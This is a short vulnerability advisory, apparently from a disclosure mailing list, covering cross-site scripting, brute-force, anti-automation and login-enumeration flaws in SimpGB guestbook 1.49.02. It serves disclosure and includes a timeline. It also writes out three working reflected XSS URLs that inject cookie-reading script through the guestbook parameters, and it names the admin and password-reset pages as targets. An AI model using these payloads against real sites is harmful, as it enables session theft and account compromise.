SimpGB 1.49.02 Cross Site Scripting

`Hello list!  
  
I want to warn you about Cross-Site Scripting, Brute Force, Insufficient  
Anti-automation and Abuse of Functionality vulnerabilities in SimpGB.  
  
-------------------------  
Affected products:  
-------------------------  
  
Vulnerable are SimpGB v1.49.02 and previous versions.  
  
----------  
Details:  
----------  
  
XSS (WASC-08):  
  
POST request at page http://site/guestbook.php in parameters poster,  
postingid and location in Preview function. If captcha is using in  
guestbook, then working code of the captcha is required for the attack. Or  
via GET request:  
  
http://site/guestbook.php?layout=Til&lang=en&mode=add&postingid=1&poster=%3Cscript%3Ealert(document.cookie)%3C/script%3E&input_text=111111111111111111111111111111&preview=preview  
  
http://site/guestbook.php?layout=Til&lang=en&mode=add&postingid=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&poster=1&input_text=111111111111111111111111111111&preview=preview  
  
http://site/guestbook.php?layout=Til&lang=en&mode=add&postingid=1&poster=1&location=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&input_text=111111111111111111111111111111&preview=preview  
  
Brute Force (WASC-11):  
  
http://site/admin/index.php  
  
Insufficient Anti-automation (WASC-21):  
  
http://site/admin/pwlost.php  
  
In this functionality there is no protection from automated requests  
(captcha).  
  
Abuse of Functionality (WASC-42):  
  
http://site/admin/pwlost.php  
  
In this functionality it's possible to retrieve logins.  
  
------------  
Timeline:  
------------  
  
2010.11.17 - announced at my site.  
2010.11.19 - informed developers.  
2011.01.25 - disclosed at my site.  
  
I mentioned about these vulnerabilities at my site  
(http://websecurity.com.ua/4690/).  
  
Best wishes & regards,  
MustLive  
Administrator of Websecurity web site  
http://websecurity.com.ua   
  
`